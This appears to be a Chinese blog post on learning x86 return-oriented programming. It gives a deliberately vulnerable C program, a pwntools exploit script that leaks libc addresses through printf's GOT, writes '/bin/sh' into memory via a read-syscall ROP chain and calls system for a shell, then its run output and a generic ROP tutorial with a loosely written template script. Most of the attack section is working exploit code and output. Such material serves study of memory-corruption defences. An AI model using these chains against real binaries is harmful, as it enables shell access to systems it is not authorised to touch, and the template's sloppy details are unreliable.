x86 rop攻击理解2

靶子代码:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>


int macdbg_dmphex( const char* buff, int len )  
{
    int retval = 0; 
    int x, y, tot, lineoff;
    const char* curr;
    lineoff = 0;
    curr = buff;
    tot = 0;
    
    printf("\n\n\n\noutbuf buff = %p\n", buff);    
               
    for( x = 0; len > x+16; ){                      
         printf("0x%08x:  ", lineoff);           
         for( y = 0; y < 16; y++ ){
              printf("%02x ", (unsigned char)*(curr + y));
         }
         printf("  ");
         for( y = 0; y < 16; y++ ){
              char c;
              c = *(curr + y);
              if( c > 31 && c < 127 ){
                  printf("%c", c);
              }else{
                  printf("%c", '.');
              }
              tot++;
         }
         curr += 16;
         x += 16;
         lineoff+=16; 
         printf("\n");         
    }
                  
    //do last line
    if( tot < len ){
        curr = (buff + tot);
        printf("0x%08x:  ", lineoff);
        for( y = 0; y < (len - tot); y++ ){
             printf("%02x ", (unsigned char)*(curr + y));
        }
        //padding with spaces
        //printf("(len - tot) %d.\r\n", (len - tot) );
        if( (len - tot) < 16 ){
            for( y = 0; y < (32 - ((len - tot)*2)); y++ ){
                 printf(" ");
            }
        }
        for( y = 0; y < 16-(len - tot); y++ ){
             printf(" ");
        }
        printf("  "); 
       //printf("(len - tot) %d.\r\n", (len - tot) );
        for( y = 0; y < (len - tot); y++ ){
            char c;
            c = *(curr + y);
            if( c >31 && c < 127 ){
                printf("%c", c);
            }else{
                printf("%c", '.');
            }
        }
        printf("\n");    
    }
    return retval;
}

void fuck() 
{
    unsigned char *pxx;
    int i;
    char buffer[4];
    gets(buffer);
    //macdbg_dmphex(buffer, 0x100);
}

void xxx_fun(void)
{
    unsigned int *px;
    
    //printf("xxx_fun = %p\n", xxx_fun);
    //printf( (unsigned int *)0x0804a00c);
    
    px = (unsigned int *)0x0804a00c;
    
    //usleep(1);
    
    
    
    
     for(int i=0x00; i<2;i++){
       printf( 0x0804a00c);
     }
     
     
    // while(1){;}
     //usleep(1);
    
}

void xxx_sleep( void )
{
    
    usleep(3000000);
    
}

#include <stdio.h>
#include <dlfcn.h>
#include <link.h>

// 获取函数在动态库中的偏移量
static unsigned long get_func_offset(const char* lib, const char* func) {
    void* handle = dlopen(lib, RTLD_LAZY);
    if (!handle) return 0;
    
    void* addr = dlsym(handle, func);
    Dl_info info;
    dladdr(addr, &info);
    
    unsigned long offset = (unsigned long)addr - (unsigned long)info.dli_fbase;
    dlclose(handle);
    return offset;
}

int mainxcv() {
    
    int (*system_func)(char*);
    // 1. 获取printf实际地址
    void* printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("printf address: %p\n", printf_addr);

    // 2. 获取libc基址
    Dl_info info;
    dladdr(printf_addr, &info);
    void* libc_base = info.dli_fbase;
    printf("libc base: %p\n", libc_base);
    
    printf("printf offset: %p\n", printf_addr-libc_base);
    

    // 3. 获取system偏移量(需提前计算)
    unsigned long system_offset = get_func_offset("libc.so.6", "system");
    printf("system offset: 0x%lx\n", system_offset);

    // 4. 计算system地址
    void* system_addr = (void*)((unsigned long)libc_base + system_offset);
    printf("system address: %p\n", system_addr);
    
    //int (*system_func)(char*)
    
    system_addr = system_addr;
    
    system_func = system_addr;
    system_func("/bin/bash");

    return 0;
}
char g_buff[32] = { '/','b','i','n','/','s','h','\0','\0' };

void flushx(void)
{
    
    fflush(0);
    


}


// 模拟存在的gadget
void gadget_pop_ebx() {
    asm("pop %ebx; ret;");
}
void gadget_pop_eax() {
    asm("pop %eax; ret;");
}
void gadget_pop_ecx() {
    asm("pop %ecx; ret;");
}
void gadget_pop_edx() {
    asm("pop %edx; ret;");
}
void gadget_mov_eax_ebx() {
    asm("mov %ebx, %eax; ret;");
}

void do_int80() {
    asm("int $0x80; ret");
}

void do_gets()
{
    gets();
    
    
}

int main() 
{   


// 定义函数指针类型(与printf签名匹配)
    int (*print_func)(const char*, ...);
    fuck();
    // 指向printf函数
    //print_func = printf;
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    //printf( (unsigned int *)0x0804a00c ); 
    //printf( (unsigned int *)0x0804a00c );
    
    
    
    
    
    // 通过函数指针调用
    //print_func("Hello, World! %d\n", 2025);
    
    //print_func = 0xf7e44680;
    //print_func("Hello, Worldxxx! %d\n", 2025);
    
   
    void *addr = dlsym(RTLD_NEXT, "printf");
    printf("printf2 = %p\n", addr);    
    
    asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");
    
    asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");asm("nop");
    
    return 0;
}
//gcc -m32 -fno-stack-protector -z execstack ctest.c -o ctest -ldl


攻击脚本:

from pwn import *

#context(arch='i386', os='linux', log_level='debug')
#context(arch='i386', os='linux',)

elf  = ELF('./ctest')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#精确获取关键地址
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr  = elf.sym['main']
macdbg_dmphex = elf.sym['macdbg_dmphex']

#查找可靠gadget
pop_eax = next(elf.search(asm('pop eax; ret')))
pop_ebx = next(elf.search(asm('pop ebx; ret')))

pop_ecx = next(elf.search(asm('pop ecx; ret')))
pop_edx = next(elf.search(asm('pop edx; ret')))
int_0x80 = next(elf.search(asm('int  0x80; ret')))
pop_ret = pop_ebx    #单参数清理

log.success(f"pop_ebx: {hex(pop_ebx)}")

poppop_ret = 0x8048b5a;

bin_sh_addr = 0x0804b060;


target_addr = 0x0804b040   # 要写入的目标地址
value = 0xdeadbeef        # 要写入的值

#定义重复单元
leak_unit = [printf_plt, pop_ret, p32(printf_got) ]

fflush_plt = elf.plt['fflush']  #获取fflush的PLT地址

xxx_sleep = elf.sym['xxx_sleep']
#构造泄露payload
payload = flat(
    b'A'*16,
    *leak_unit,  # 解包并重复1次
    
    fflush_plt,      # 调用fflush刷新输出
    pop_ret,
    0,               # 参数:stdout (通常为0)
    
    #xxx_sleep,
    #pop_ret,
    #0,   
    
    pop_eax, 3,              #read系统调用号
    pop_ebx, 0,              #文件描述符0(标准输入)
    pop_ecx, target_addr, pop_edx, 32, # ecx=目标地址, edx=4(字节数)
    int_0x80,                # 执行read系统调用
    # 后续ROP链(例如返回到目标函数等)
    

    xxx_sleep,
    pop_ret,
    0,           
    
    macdbg_dmphex,
    poppop_ret,
    target_addr,
    0x80,

    main_addr
)

# 交互过程
p = process('./ctest')
p.sendline(payload)
leaked = u32(p.recv(4))
libc.address = leaked - libc.sym['printf']
log.success(f"Libc base: {hex(libc.address)}")

#p.interactive()  # 获取交互式shell


system_addr = libc.symbols['system']
log.success(f"system@libc: {hex(system_addr)}")
log.success(f"system@libcx: {hex(libc.sym['system'])}")

# 已知地址
#bin_sh_addr = next(libc.search(b'/bin/sh'))  # 自动搜索字符串

# 构造payload
payloadx = flat(
    b'A'*12,        # 填充缓冲区
    b'B'*4,         # 覆盖返回地址
    #ret,            # 栈对齐(可选)
    system_addr,    # 调用system
    0xdeadbeef,     # system的返回地址(随意)
    target_addr     # system的参数
)


# 3. 发送要写入的数据
sleep(0.5)
p.send(b"/bin/sh\x00  \x20   012345678")  # 第二阶段:实际写入内存的数据

# 再次执行攻击
p.sendline(payloadx)
p.interactive()  # 获取交互式shell


#run <<< $(python -c 'print("A"*16 + "\x52\x88\x04\x08" + "\x85\x87\x04\x08" + "\x0c\xa0\x04\x08" + "\xc0\x87\x04\x08")')


输出:

python3.8 xx1.py 
[*] '/mnt/hgfs/file_win2linux/stackyichu/ctest'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
[+] pop_ebx: 0x8048499
[+] Starting local process './ctest': pid 93884
[+] Libc base: 0xf7dfb000
[+] system@libc: 0xf7e35db0
[+] system@libcx: 0xf7e35db0
[*] Switching to interactive mode
Ƅ\x04\x08\xf0\xa3\xe5\xf7\xe6\x84\x04\x08\xf6\x84\x04\x08P5\xe1\xf7\x16\x85\x04\x08&\x85\x04\x086\x85\x04\x08F\x85\x04\x08

outbuf buff = 0x804b040
0x00000000:  2f 62 69 6e 2f 73 68 00 20 20 20 20 20 20 30 31   /bin/sh.      01
0x00000010:  32 33 34 35 36 37 38 41 41 41 41 41 41 41 41 41   2345678AAAAAAAAA
0x00000020:  2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00   /bin/sh.........
0x00000030:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000040:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000050:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000060:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000070:  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
[*] Got EOF while reading in interactive

[*] Process './ctest' stopped with exit code -11 (SIGSEGV) (pid 93884)
[*] Got EOF while sending in interactive
root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# pwd
/mnt/hgfs/file_win2linux/stackyichu
root@ubuntu:/mnt/hgfs/file_win2linux/stackyichu# 

### 使用 ROP 技术进行漏洞开发 在 Kali Linux 中利用返回导向编程 (Return-Oriented Programming, ROP) 进行漏洞开发涉及多个方面。为了有效实施这一技术,理解其基本概念至关重要。 #### 准备工作环境 安装必要的工具包对于准备攻击环境非常重要。通常情况下,在 Kali Linux 上已经预装了许多安全测试软件,但对于特定需求可能还需要额外配置: - 安装 `gdb` 和其他调试器用于分析目标程序的行为。 - 利用 `pwntools` 或者类似的 Python 库来简化 rop 链的构建过程[^1]。 ```bash apt-get update && apt-get install -y gdb pwntools ``` #### 寻找 Gadget Gadgets 是指存在于二进制文件中的短代码片段,这些片段以 `ret` 指令结束并可以被链接起来执行任意操作。寻找 gadgets 的方法之一是通过自动化脚本扫描二进制文件或库文件。`ropper` 工具可以帮助快速定位可用的小工具集合。 ```bash pip3 install ropper ropper --file /path/to/binary ``` #### 构建 ROP Chain 一旦收集到了足够的 gadget 后就可以着手创建一条完整的 ROP chain 来实现预期功能。这一步骤往往依赖于对目标应用程序内部逻辑的理解以及所处平台架构的知识(比如 x86 vs x64)。编写一个简单的 python 脚本来组合选定的小工具,并将其发送给易受攻击的服务作为输入数据流的一部分。 ```python from pwn import * binary_path = './vulnerable_binary' elf = ELF(binary_path) rop = ROP(elf) pop_rdi_ret = 0x00000000004012b3 # Example address found using 'ropper' payload = b'A' * offset_to_return_address payload += pack(pop_rdi_ret) payload += pack(next(elf.search(b'/bin/sh'))) payload += pack(elf.symbols['system']) process(binary_path).sendline(payload) ``` #### 测试与调整 最后阶段是对整个流程进行全面验证,确保每一步都能按计划顺利运行。如果遇到任何问题,则需回溯检查之前的工作成果直至找到错误所在之处。此过程中可能会涉及到多次迭代优化 payload 结构或是重新评估初始假设条件。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值